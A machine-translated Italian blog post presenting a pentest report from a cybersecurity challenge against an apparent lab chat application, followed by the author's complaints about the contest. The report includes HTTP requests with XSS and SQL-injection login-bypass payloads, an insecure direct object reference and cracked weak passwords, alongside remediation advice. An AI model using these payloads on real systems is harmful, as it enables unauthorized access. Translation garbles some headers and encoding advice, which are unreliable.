Rapporto per 0 punti EY GDS Poland Cybersecurity Challenge tramite Challenge Rocket

Di | |

Questa voce è divisa in due parti. Nel primo pubblico una descrizione delle vulnerabilità che sono stato in grado di identificare nell'ambito della "EY GDS Poland Cybersecurity Challenge". Nel secondo, descrivo le mie riserve sulla forma in cui è stata effettuata tale "sfida" e sul motivo per cui lo sto facendo.

Parte 1 – Errori di sicurezza rilevati

1. Script tra siti riflessi

Punteggio CVSSv3: vettore
CVSS v3 8.0: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Gravità: Critica

Ricerca:
durante il test è stata trovata una vulnerabilità di cross site scripting riflessa. Consente di iniettare ed eseguire codice JavaScript nel contesto dell'applicazione. Il codice JavaScript viene riflesso solo dal server, che differisce dallo script tra siti archiviato che memorizza il codice nell'applicazione in modo permanente. Questa vulnerabilità è per lo più sfruttata al fine di dirottare le sessioni degli utenti autenticati. Può anche essere utilizzato per reindirizzare gli utenti a siti Web dannosi o rubare chiavi dell'utente dell'applicazione.

Prova:
Richiesta:

GET /index.php?login=testhqw60%22%3e%3cscript%3ealert(1)%3c%2fscript%3ek9nju&psw=test&page=login HTTP/1.1
Ospite: 192.168.140.129
Richieste di aggiornamento non sicure: 1
Agente utente: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/89.0.4356.6 Safari/537.36
Accetta: testo/html,applicazione/xhtml+xml,applicazione/xml;q=0,9,immagine/avif,immagine/webp,immagine/apng,/;q=0,8,applicazione/scambio firmato;v=b3;q=0,9
Arbitro: http://192.168.140.129/index.php?page=login
Accept-Encoding: gzip, deflazione
Lingua accetta: en-US,en;q=0,9,en-US;q=0,8,en;q=0,7
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73
Connessione: chiudi

risposta:

HTTP/1.1 200 OK
Data: martedì 05 gennaio 2021 17:04:34 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Scadenza: giovedì 19 novembre 1981 08:52:00 GMT
Controllo cache: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: nessuna cache
Lunghezza contenuto: 1248
Connessione: chiudi
Tipo di contenuto: testo/html; charset=UTF-8<html>
<head>
    <title>Sistema di chat interno</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">messaggi inviati</a>
              <a href="/index.php?page=new_message">messaggio</a>
              <a href="/index.php?logout">Disconnessione</a>
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_error'>Errore di accesso</div>
<form target="_self">
    <div class="container">
        <label for="login"><b>accesso</b></label>
        <input type="text" placeholder="Enter login" name="login" id="login"
               value="testhqw60"><script>alert(1)</script>k9nju" richiesto>

<label for="psw"> <b>Password</b></label></div></form></div></div></body></html>

Raccomandazione:
il problema deriva dalla mancanza di una corretta verifica dell'input e dalla mancanza di una corretta codifica dell'output. Si consiglia vivamente di incorporare sia rigide regole di sanificazione dell'input che codifica di output. I caratteri speciali HTML come<' and="" '="">' ' devono essere codificati in HTML (sostituiti rispettivamente da ' ' ) in tutti i dati letti<' and="" '="">dall'input dell'utente, database</'> e file.</'> Lo stesso vale per caratteri come " (che dovrebbe essere sostituito con ") e ' (che dovrebbe essere evaso con un segno di barra rovesciata ). A sua volta, la sanificazione rigorosa dell'input significa un approccio diverso alla convalida dell'input. Ad esempio, se una variabile è destinata a contenere un numero, è meglio verificare se si tratta effettivamente di un numero (ad esempio se corrisponde a ^d+$ espressione regolare o con un cast intero) invece di cercare di capire tutti i possibili caratteri non validi da filtrare. La convalida dell'input che avviene sul lato server è obbligatoria, mentre la convalida sul lato client (HTML/JavaScript, browser Web, che è controllato dall'utente) dovrebbe essere presente principalmente a scopo di usabilità, ma anche al fine di prevenire il cosiddetto cross site scripting basato su DOM. Se una variabile fornita dall'utente viene scritta nel database/file/documento HTML senza previa sanificazione e quindi visualizzata nuovamente ad altri utenti, tale vulnerabilità diventa un XSS memorizzato, che è molto più pericoloso poiché può essere utilizzato contro utenti autenticati senza alcuna azione intrapresa dalla loro parte. Inoltre, di solito la scala di un attacco XSS memorizzato è più ampia che in caso di riflesso, poiché più utenti possono essere interessati.

Riferimenti:
CWE-79
http://cwe.mitre.org/data/definitions/79.html
OWASP
http://www.owasp.org/index.php/Cross_Site_Scripting
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

2. Iniezione SQL

Punteggio CVSSv3: vettore
CVSS v3 8.8: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Gravità: Critica

Ricerca: è stato
rilevato un difetto di iniezione SQL all'interno dell'applicazione. Questa vulnerabilità consente a un potenziale utente malintenzionato di eseguire query SQL dirette nel database sottostante. Un utente malintenzionato può ad esempio recuperare tutte le informazioni dal database a cui l'utente corrente del database ha accesso. Consente inoltre di deturpare il sito Web, eseguire XSS attraverso la manipolazione sui dati del database o eseguire comandi di sistema.

Prova:
a causa del fatto che l'applicazione non utilizza la parametrizzazione quasi interi parametri nell'applicazione sono vulnerabili per l'iniezione SQL.

richiesta:

GET /index.php?login=admin'or'&psw=xyz&page=login HTTP/1.1
Ospite: 192.168.140.129
Richieste di aggiornamento non sicure: 1
Agente utente: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/89.0.4356.6 Safari/537.36
Accetta: testo/html,applicazione/xhtml+xml,applicazione/xml;q=0,9,immagine/avif,immagine/webp,immagine/apng,/;q=0,8,applicazione/scambio firmato;v=b3;q=0,9
Arbitro: http://192.168.140.129/index.php?page=login
Accept-Encoding: gzip, deflazione
Lingua accetta: en-US,en;q=0,9,en-US;q=0,8,en;q=0,7
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73
Connessione: chiudi

risposta:

HTTP/1.1 302 Trovato
Data: martedì 05 gennaio 2021 17:15:25 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Scadenza: giovedì 19 novembre 1981 08:52:00 GMT
Controllo cache: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: nessuna cache
Posizione: /index.php?loggedin
Lunghezza contenuto: 666
Connessione: chiudi
Tipo di contenuto: testo/html; charset=UTF-8<html>
<head>
    <title>Sistema di chat interno</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">messaggi inviati</a>
              <a href="/index.php?page=new_message">messaggio</a>
              <a href="/index.php?logout">Disconnessione</a>
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_success'>Accesso utente</div></div></div></body></html>

Raccomandazione:
ogni carattere speciale nei dati di input degli utenti deve essere filtrato o/e sanitizzato sul lato server per prevenire vulnerabilità di SQL Injection. I valori integer non devono essere trattati come valori stringa e devono essere analizzati come integer prima di agire su di essi. La procedure consigliata è utilizzare istruzioni preparate (con parametri) in tutti i casi in cui sono presenti query di database.

Riferimenti:
CWE-89
http://cwe.mitre.org/data/definitions/89.html
OWASP
https://www.owasp.org/index.php/SQL_Injection
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md

3. Script tra siti archiviati

Punteggio CVSSv3: vettore
CVSS v3 8.0: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Gravità: Critica

Ricerca:
durante il test sono state rilevate vulnerabilità di cross site scripting archiviate. E 'per lo più sfruttato al fine di dirottare le sessioni degli utenti autenticati. Il problema deriva dalla mancanza di una corretta verifica dell'input e dalla mancanza di una corretta codifica dell'output. Un XSS memorizzato si verifica quando qualsiasi utente ha fornito una variabile vulnerabile viene scritta nel database/file e quindi visualizzata di nuovo ad altri utenti. Quindi xss memorizzato è molto più pericoloso dal momento che può essere utilizzato contro altri utenti senza alcuna azione intrapresa dalla loro parte come il phishing. Può essere estremamente utile per infettare gli utenti con l'uso di exploit web-browser, abusando della fiducia dell'applicazione attaccata.

Prova:
Richiesta:

GET /index.php?login=testy7sfo%3cscript%3ealert(1)%3c%2fscript%3ejil46&psw=test&psw-repeat=test&page=register HTTP/1.1
Ospite: 192.168.140.129
Richieste di aggiornamento non sicure: 1
Agente utente: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/89.0.4356.6 Safari/537.36
Accetta: testo/html,applicazione/xhtml+xml,applicazione/xml;q=0,9,immagine/avif,immagine/webp,immagine/apng,*/*;q=0,8,applicazione/scambio firmato;v=b3;q=0,9
Arbitro: http://192.168.140.129/index.php?page=register
Accept-Encoding: gzip, deflazione
Lingua accetta: en-US,en;q=0,9,en-US;q=0,8,en;q=0,7
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73
Connessione: chiudi

Risposta con punto di esecuzione:

HTTP/1.1 200 OK
Data: martedì 05 gennaio 2021 17:25:52 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Scadenza: giovedì 19 novembre 1981 08:52:00 GMT
Controllo cache: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: nessuna cache
Connessione: chiudi
Tipo di contenuto: testo/html; charset=UTF-8
Lunghezza contenuto: 15252<html>
<head>
    <title>Sistema di chat interno</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">messaggi inviati</a>
              <a class="active" href="/index.php?page=new_message">messaggio</a>
              <a href="/index.php?logout">Disconnessione</a>
          </nav>
          </div>
    <div style="margin-top:20px;">
      <div class='message_success'>Messaggio inviato</div>
    <form target="_self">
        <div class="container">
            <h1>Inviare un nuovo messaggio</h1>
            <p>Selezionare l'utente e fornire il testo del messaggio</p>
            <hr>

            <label for="login"><b>utente</b></label>
            <select type="text" name="login" id="login" required="">
                                <option value="1">Admin
                                <option value="2">utente
                                <option value="4">prrrsihv
                                <option value="5">0
                                <option value="6">0
                                <option value="7">0
                                <option value="8">0
                                <option value="9">test"
                                <option value="10">ykq1o3wmfv

[...]
value="14">testgl11i"> <script>alert(1)</script> y9e06
                                <option 
[…]</select></div></form></div></div></body></html>

Raccomandazione:
si consiglia vivamente di incorporare sia rigide regole di sanificazione dell'input che codifica di output. I caratteri speciali HTML come<' and="" '="">' ' devono essere codificati in HTML (sostituiti rispettivamente da ' ' ) in tutti i dati letti<' and="" '="">dall'input dell'utente, database</'> e file.</'> Lo stesso vale per caratteri come " (che dovrebbe essere sostituito con ") e ' (che dovrebbe essere evaso con un segno di barra rovesciata ). A sua volta, la sanificazione rigorosa dell'input significa un approccio diverso alla convalida dell'input. Ad esempio, se una variabile è destinata a contenere un numero, è meglio verificare se si tratta effettivamente di un numero (ad esempio se corrisponde a ^d+$ espressione regolare o con un cast intero) invece di cercare di capire tutti i possibili caratteri non validi da filtrare. La convalida dell'input che avviene sia sul lato server che sul lato client è obbligatoria. La convalida sul lato client (HTML/JavaScript, browser Web controllato dall'utente) impedisce l'esecuzione di cross site scripting basato su DOM. La convalida nel sito server impedisce lo scripting tra siti standard (non DOM). Se la sicurezza si basa solo sulla convalida lato client, non è difficile per l'utente malintenzionato creare un'interfaccia alternativa e inviare dati creati in modo dannoso al server, ignorando correttamente questo tipo di meccanismo. È sempre necessario implementare una convalida rigorosa dell'input sia sul lato server che sul lato client in modo indipendente. Se una variabile fornita dall'utente viene scritta nel database / file e quindi visualizzata di nuovo ad altri utenti, tale vulnerabilità diventa un XSS memorizzato, che è molto più pericoloso poiché può essere utilizzato contro gli utenti autenticati senza alcuna azione intrapresa dalla loro parte. Inoltre di solito la scala di un attacco XSS memorizzato è più ampia che in caso di attacco riflesso.

Riferimenti:
CWE-79
http://cwe.mitre.org/data/definitions/79.html
OWASP
http://www.owasp.org/index.php/Cross_Site_Scripting
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

4. Bypass autorizzazione

Punteggio CVSSv3: 8.8
CVSS v3 vettore: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Gravità: Alta

Ricerca:
È stato rivelato che la domanda ha una scarsa implementazione dell'autorizzazione. Un utente che conosce il percorso diretto della risorsa o un URL per chiamare una determinata funzione può accedervi senza disporre di una concessione di ruolo adeguata. Il bypass di autorizzazione consente di eseguire determinate azioni senza disporre delle autorizzazioni necessarie. Ad esempio, un utente non autorizzato può essere in grado di eseguire funzioni amministrative come l'aggiunta di un altro amministratore utente.

Prova:
usando l'URL diretto per il messaggio, chiunque può leggere un messaggio che non gli appartiene semplicemente cambiando l'ID del messaggio
sull'URL url urlato: http://192.168.140.129/index.php?page=messages&message=1


Suggerimento: ogni richiesta a una risorsa o a una funzione deve essere controllata correttamente se l'utente che ha richiamato questa azione dispone delle autorizzazioni appropriate. È consigliabile eseguire l'implementazione di un meccanismo come ACL (Access Control List) con voci per URL/modulo/funzione e criterio DENY predefinito.

Riferimenti:
CWE-285
http://cwe.mitre.org/data/definitions/285.html
OWASP
https://www.owasp.org/index.php/Broken_Access_Control
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Access_Control_Cheat_Sheet.md

5. Credenziali utente predefinite o facilmente immaginabili

Punteggio CVSSv3: 8.6
CVSS v3 vettore: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Gravità: Alta

Ricerca: le
credenziali utente predefinite o facilmente indovinabili sono molto pericolose per la sicurezza dell'applicazione. Un utente malintenzionato senza troppi sforzi può accedere alla sezione privata dell'applicazione. La password indovinata/decifrata può essere utilizzata per accedere alla sezione privata dell'applicazione e per eseguire attacchi pivot agli utenti autorizzati. Ora un utente malintenzionato ha un'area molto più ampia per sfruttare l'applicazione.

Prova:
Pentester ha trovato una password debole nell'applicazione. Inoltre, l'applicazione utilizza un metodo di hash md5 debole.

login hash pass
Amministratore D8578EDF8458CE06FBC5Bb76A58C5CA4 QWERTY
Utente 7815696ECBF1C96E6894B779456D330E ASD

Suggerimento:
tutte le password predefinite nell'applicazione devono essere modificate. L'applicazione deve anche utilizzare criteri con password forti.

Riferimenti:
OWASP
https://www.owasp.org/index.php/Insecure_Configuration_Management

6. Dati sensibili inviati su canale non crittografato

Punteggio CVSSv3: 7.5
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Gravità: Alta

Ricerca:
questa vulnerabilità si verifica quando i dati sensibili vengono inviati tramite protocollo HTTP che non implementa alcuna crittografia dei dati. Tutti i dati inviati su questo canale sono suscettibili di sniffing e manomissione.

Prova:
le password vengono inviate utilizzando un canale non crittografato utilizzando un metodo pericoloso – ottieni il tipo di richiesta:

Richiesta utilizzata per registrare l'utente, inviata via http:

GET /index.php? login=aaaa&psw=aaaa&psw-repeat=aaaa&page=register HTTP/1.1
Ospite: 192.168.140.129
Richieste di aggiornamento non sicure: 1
Agente utente: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/89.0.4356.6 Safari/537.36
Accetta: testo/html,applicazione/xhtml+xml,applicazione/xml;q=0,9,immagine/avif,immagine/webp,immagine/apng,/;q=0,8,applicazione/scambio firmato;v=b3;q=0,9
Arbitro: http://192.168.140.129/index.php?page=register
Accept-Encoding: gzip, deflazione
Lingua accetta: en-US,en;q=0,9,en-US;q=0,8,en;q=0,7
Cookie: adminer_version=4.7.8; PHPSESSID=142f35v6q107q5krpj1ma23ki1
Connessione: chiudi

Richiesta utilizzata per accedere all'utente, inviata via http:

GET /index.php? login=test&psw=test&page=login HTTP/1.1
Ospite: 192.168.140.129
Richieste di aggiornamento non sicure: 1
Agente utente: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/89.0.4356.6 Safari/537.36
Accetta: testo/html,applicazione/xhtml+xml,applicazione/xml;q=0,9,immagine/avif,immagine/webp,immagine/apng,/;q=0,8,applicazione/scambio firmato;v=b3;q=0,9
Arbitro: http://192.168.140.129/index.php?page=login
Accept-Encoding: gzip, deflazione
Lingua accetta: en-US,en;q=0,9,en-US;q=0,8,en;q=0,7
Cookie: adminer_version=4.7.8; PHPSESSID=142f35v6q107q5krpj1ma23ki1
Connessione: chiudi

Raccomandazione:
il protocollo HTTPS deve essere implementato per proteggere i dati sensibili. Si prega inoltre di notare che quando verrà implementato il protocollo HTTPS, i cookie devono essere protetti con bandiera sicura. Ciò impedisce l'invio di cookie su HTTP.

Riferimenti:
CWE-319
http://cwe.mitre.org/data/definitions/319.html
OWASP
https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.md

7. Messaggi di errore dettagliati

Punteggio CVSSv3: 6.5
CVSS v3 vettore: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/D:N
Gravità: Medio

Ricerca:
Durante il test è stato rivelato che in caso di alcune richieste, il server genera un'eccezione di errore. Il messaggio di eccezione può includere molte informazioni tecniche dettagliate, inclusi nomi di file, percorsi assoluti, ma anche librerie, classi e metodi utilizzati. Queste informazioni potrebbero essere cruciali per condurre altri attacchi critici (come la lettura arbitraria dei file, l'esecuzione del codice o gli attacchi specifici della piattaforma). Tali informazioni dettagliate dovrebbero essere disponibili solo per gli sviluppatori di applicazioni e gli amministratori di sistema e non dovrebbero mai essere rivelate all'utente finale.

Prova:
Richiesta:

GET /index.php?login=admin'%20or%20'1'&psw=xyz&page=login HTTP/1.1
Ospite: 192.168.140.129
Richieste di aggiornamento non sicure: 1
Agente utente: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/89.0.4356.6 Safari/537.36
Accetta: testo/html,applicazione/xhtml+xml,applicazione/xml;q=0,9,immagine/avif,immagine/webp,immagine/apng,/;q=0,8,applicazione/scambio firmato;v=b3;q=0,9
Arbitro: http://192.168.140.129/index.php?page=login
Accept-Encoding: gzip, deflazione
Lingua accetta: en-US,en;q=0,9,en-US;q=0,8,en;q=0,7
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73
Connessione: chiudi

risposta:

HTTP/1.1 200 OK
Data: martedì 05 gennaio 2021 17:13:52 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Scadenza: giovedì 19 novembre 1981 08:52:00 GMT
Controllo cache: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: nessuna cache
Lunghezza contenuto: 753
Connessione: chiudi
Tipo di contenuto: testo/html; charset=UTF-8<html>
<head>
    <title>Sistema di chat interno</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
<div style="width:600px; margin: 0 auto; text-align: center">
    <a href="/">
        <img src="ey-logo.png" height="72" alt="EY">
    </a>
    <div style="margin-top:50px;">
                <nav>
              <a href="/index.php?page=messages">messaggi inviati</a>
              <a href="/index.php?page=new_message">messaggio</a>
              <a href="/index.php?logout">Disconnessione</a>
          </nav>
          </div>
    <div style="margin-top:20px;">
      <br />
<b>Errore irreversibile:</b>chiamata a una funzione membro fetch() su un non oggetto in <b>/var/www/html/login.php</b> online <b>7</b><br /></div></div></body></html>

Raccomandazione:
gli errori dettagliati non devono essere forniti agli utenti finali. Dovrebbero invece essere fornite pagine di errore statiche amichevoli. La causa dell'errore deve essere studiata all'interno del codice.

Riferimenti:
OWASP
https://www.owasp.org/index.php/Information_Leakage
CWE-209
http://cwe.mitre.org/data/definitions/209.html
CWE-200: Esposizione all'informazione http://cwe.mitre.org/data/definitions/200.html

Regno: Ambiente http://www.hpenterprisesecurity.com/vulncat/en/vulncat/intro.html

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Error_Handling_Cheat_Sheet.md

8. Divulgazione di informazioni

Punteggio CVSSv3: 5.3
CVSS v3 vettore: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/D:N
Gravità: Bassa

Ricerca: la
vulnerabilità della divulgazione delle informazioni si verifica quando le informazioni sensibili vengono divulgate in qualsiasi modo dall'applicazione. Ad esempio, viene esposta la configurazione del server o dell'applicazione. La gravità di questo problema dipende dalle informazioni trapelate.

Prova:
i file come di seguito non dovrebbero essere accessibili al pubblico: http://192.168.140.129/info.php

http://192.168.140.129/adminer.php

Divulgazione di server e versioni
nell'intestazione: Server: Apache/2.4.6 (CentOS) PHP/5.4.16

Divulgazione di software e versioni usati nei cookie:
Cookie: PHPSESSID=0f9k9rgvdg5lqfpvuhem70eo73; adminer_version=4.7.8

Raccomandazione:
eventuali informazioni aggiuntive non devono essere divulgate. Devono essere disponibili/fornite solo le informazioni necessarie all'utente.

Riferimenti:
CWE-200
http://cwe.mitre.org/data/definitions/200.html
OWASP
https://www.owasp.org/index.php/Information_Leakage
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

Parte 2 – Obiezioni a "EY GDS UK Cybersecurity Challenge via Challenge Rocket"

A volte, nell'ambito delle mie conoscenze e competenze, prendo parte a tutti i tipi di corsi, corsi di formazione e sfide di sicurezza. Uno di questi è stato il "EY GDS Poland Cybersecurity Challenge" organizzato sul https://challengerocket.com/ey-cybersecurity-challenge/. Secondo la descrizione, consisteva nello condurre un audit di sicurezza – citando gli organizzatori di "Linux e portale web". A sua volta, dovrebbe essere creata una relazione sulla base dei suoi risultati. Conteneva una descrizione delle vulnerabilità rilevate che minacciano la sicurezza del sistema e raccomandazioni su come aumentare il livello generale di sicurezza. È stato osservato che la notifica dovrebbe essere breve, concisa e contenere una breve descrizione delle vulnerabilità e delle prove della loro esistenza. In altri, si può dire che tutto doveva avvenire secondo la procedura standard per condurre test di penetrazione.

Il quadro reale del concorso e l'atteggiamento degli organizzatori nei confronti della questione di chiarire i dubbi ad esso collegati mi hanno sorpreso in modo un po' positivo. Il mio rapporto è stato valutato 0 punti, soprattutto, citando giurati "i risultati dello scanner non sono un rapporto pentest".

L'immagine ha un attributo alt vuoto; denominato image-7-1024x96.png

Questa è una valutazione mi fa male, e ho cercato di chiarire questo problema in modo più preciso (probabile causa al punto 6 delle prenotazioni), ma, in breve, oltre alle e-mail settimanali (per quasi un mese), come – "un giorno potremmo rispondere lì", non ho avuto una spiegazione.

L'immagine ha un attributo alt vuoto; denominato image-5.png
L'immagine ha un attributo alt vuoto; denominato image-6.png

Da qui questa voce, in cui condivido una relazione con il "capo della thendja" e le mie riserve sulla sua organizzazione e forma di attuazione. Ci sono state alcune carenze.

Tuttavia, confido che le mie brutte esperienze siano il risultato di una "serie di sfortunati eventi" e non di una mancanza di buona volontà. Chiudo le riserve sotto forma di elenco e spero che servano nel ciclo di William Edwards Deming:

  1. Tutto il divertimento è stato limitato a volte – 2 ore. A mio parere, questo è troppo poco tempo per effettuare 2 test di penetrazione e prepararsi sulla base di una relazione completa.
  2. Partecipare alla testa del secondo è stato scaricare e montare un'immagine di due macchine virtuali (utilizzando il tempo disponibile 2h). Questo non è sempre possibile per motivi tecnici prosaici. A mio parere, sarebbe più facile per le persone coinvolte se si potesse accedere all'accesso alle macchine tramite un VPNa e i partecipanti non dovrebbero configurarle dalla loro parte.
  3. Il limite di 2 ore potrebbe essere ingiustamente omesso- accedendo alle attività creando un account per dati falsi. L'unico punto di protezione contro questo è stata la disposizione del regolamento: "4. Ogni Partecipante può iscriversi al Concorso e assumere le attività del Concorso una sola volta. Dopo aver avviato il test, il Partecipante deve completarlo entro il termine specificato. Una volta completato il test, non sarà possibile riprenderlo. I partecipanti che cercheranno di iscriversi al Concorso da più account e di fare il test più di una volta saranno squalificati.". La piattaforma non protegge da tali azioni. È come se dici che non è necessario creare app sicure perché hackerarle è illegale.
  4. Le password di accesso non funzionavano/erano inerroneive a una delle macchine. Dopo aver segnalato questo, ho ricevuto questa risposta: "quando si tratta di accedere alla macchina – potresti aver usato i dati errati in modo inappropriato. È completamente diverso da una macchina e molto più accesso rispetto all'altra. Non sono in grado di dire la validità di questo parere. Ho seguito i passaggi del manuale e ho provato a utilizzare le password fornite in essi. Ho ricevuto informazioni da altri partecipanti che hanno anche dato "crayves" non ha funzionato. È possibile accedere alla macchina in un modo diverso, tramite il servizio FTP. Solo allora, perché ingannare l'istruzione?
  5. Nel "portale web" è stato cucito uno script, che ha contattato un server web esterno chiamato "ey-logger". Questa era una situazione strana, poiché stava chiamando al momento della registrazione sul "portale web" e inviandogli il login e la password utilizzati. Inoltre, così facendo, ha avuto accesso all'indirizzo IP delle persone coinvolte nel gioco. Qualcuno ha cucito un keylogger dannoso nell'applicazione? Ho valutato questo problema come un residuo dei test, che sono stati trovati lì accidentalmente. Tuttavia, l'organizzatore ha dichiarato che era lì intenzionalmente: " mentre in termini di script – non è uno script di test, ma deliberatamente "strano" script dall'aspetto con la vulnerabilità di XSS-Persistance (che è una delle vulnerabilità di sicurezza da rilevare. L'indirizzo non è per il server EY, ma per un rasoio insignificante e non funzionale in Azura.".
  6. Dopo aver completato il test di penetrazione e aver fatto clic sul campo successivo per includere il report, si è scoperto che questo può essere fatto solo in una finestra che accetta testo non in chiaro, senza alcuna formattazione. Pertanto, la relazione finale era priva di leggibilità e della possibilità di allegare grafica. Penso che questo possa essere stato il motivo per cui la mia relazione avrebbe potuto essere erroneamente valutato come un "risultato dello scanner". Non sono stato in grado di spiegarlo fino alla fine perché, come ho detto, non ho ricevuto alcuna risposta sostanziale per un mese.
  7. L'organizzatore non ha pubblicato i risultati della sfida in tempo regolare. Dopo aver superato l'orario regolare e aver chiesto quando appariranno i risultati, ha modificato surrettiziamente le date nei termini e nelle condizioni:
Prima di segnalare il mancato rispetto del termine di legge
Dopo aver segnalato il mancato rispetto del termine di legge

8. L'organizzatore ha rivelato i nomi dei partecipanti, nonostante ciò non accada nel regolamento – "4. I risultati ottenuti dai Partecipanti al Concorso saranno pubblicati al termine del Concorso senza pubblicare i nomi e i cognomi dei Partecipanti." È una violazione del GDPR?

Congratulazioni al vincitore e augurarti un continuo successo! 🙂

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Aggiungi ai preferiti : permalink.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *